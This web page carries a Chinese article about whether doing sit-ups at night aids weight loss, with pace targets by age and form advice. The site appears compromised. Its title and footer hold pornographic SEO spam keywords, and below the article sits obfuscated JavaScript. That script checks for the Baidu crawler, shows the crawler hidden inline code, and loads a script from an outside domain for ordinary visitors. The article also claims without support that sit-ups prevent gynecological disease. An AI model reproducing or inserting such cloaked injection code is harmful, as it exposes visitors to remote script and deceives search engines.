久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 減肥 > 運動減肥 > 正文

晚上做仰臥起坐能不能幫助減肥?

2017-04-22 00:20:24  來源:360常識網   熱度:
導語:仰臥起坐是十分受人們的熱烈歡迎的一項運動,也是體育必考的一項運動,仰臥起坐可以使人伸張腰肢,擁有極高的伸展性。那么,有一些聰明的人

仰臥起坐是十分受人們的熱烈歡迎的一項運動,也是體育必考的一項運動,仰臥起坐可以使人伸張腰肢,擁有極高的伸展性。那么,有一些聰明的人就會問了,晚上做仰臥起坐能不能減肥?接下來,小編將呈現出一些相關性的資料,供大家參考參考一下,請看以下的資料。

練仰臥起坐,速度要因人而異。初學者、老年練習者,如果想達到減去腹部贅肉的目的,就要控制住節奏,避免一開始就做很多次數的仰臥起坐,導致肌肉酸疼。最初可以嘗試一分鐘做5次,此后慢慢增加,直至達到30次左右。30歲以下的女性,很多是出于防止婦科病的目的練習的,這時頻率最好控制在每分鐘45~50個,隨年齡的增加而遞減,50歲以上的一分鐘做25個就可以了。對于那些有一定健身基礎的練習者,更多的是想通過練習達到增強腹部力量的目的,這樣要保證一分鐘做60次左右。

很多練習者的仰臥起坐姿勢也是不正確的:躺在地上,膝蓋彎曲,把整個上身抬起來,雙肘接觸膝蓋,雙手抱頭交叉在頸部———這樣做法是大腿根部的肌肉在工作,而不是腹肌用力,長期下去會使腰部的肌肉勞損;同時,也壓迫了頸部神經。正確的做法是,仰臥在床上,雙腿正常彎曲,雙手半握拳放在耳朵兩側,盡量展開雙臂。

做動作時,讓腰部發力,上身徑直起來,注意腰部不要離開地面,然后緩慢下降使身體處于原位,重復做以上動作。當腹肌把身體向上拉起時,應該呼氣,這樣可確保處于腹部較深層的肌肉都同時參與工作。練習過程中,腿一定不要伸直,否則不僅是浪費時間,甚至是有害無益。

晚上做仰臥起坐和白天做仰臥起坐是沒有什么差別的,只不過做仰臥起坐的方式是有差別的。人們在要做仰臥起坐這項運動之前一定要做好相應的準備活動,以免受到傷害,也一定要注意不要太過于拼命了,還要注意飲食的合理搭配,這樣才會更有效果,勞逸結合。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 黄色在线免费观看 | 日韩一区二区中文字幕 | 亚洲电影中文字幕 | 2024男人天堂 | 国产区第一页 | 一级欧美 | 美女日批视频在线观看 | 亚洲一区精品在线 | 狠久久 | 午夜精品一区二区三区在线视频 | 色吊丝在线永久观看最新版本 | 久久亚洲一区二区三区成人国产 | 一区二区三区高清 | 国产片一区二区三区 | 国产成人精品一区二区三区视频 | 精品国产一区二区三区在线观看 | 久草视| 色综合久久88色综合天天 | 日韩欧美视频在线 | 欧美一级在线观看视频 | 综合久久网 | 色综合久久久久久久 | 久久久精品网 | 亚洲综合一区二区三区 | 黄色一级电影 | 日本中文字幕一区 | 日韩成年视频 | 毛片毛片毛片 | 久久噜噜噜精品国产亚洲综合 | 久久视频一区 | 91精品久久| 精品久久久久久久久久久久久久 | 91免费版在线看 | 欧美精品网 | 欧美在线视频一区二区 | 亚洲日本在线观看 | 丝袜久久 | 亚洲三级在线观看 | 天堂a2022v乱码 | 天天摸夜夜操 | 国产女人高潮大叫a毛片 |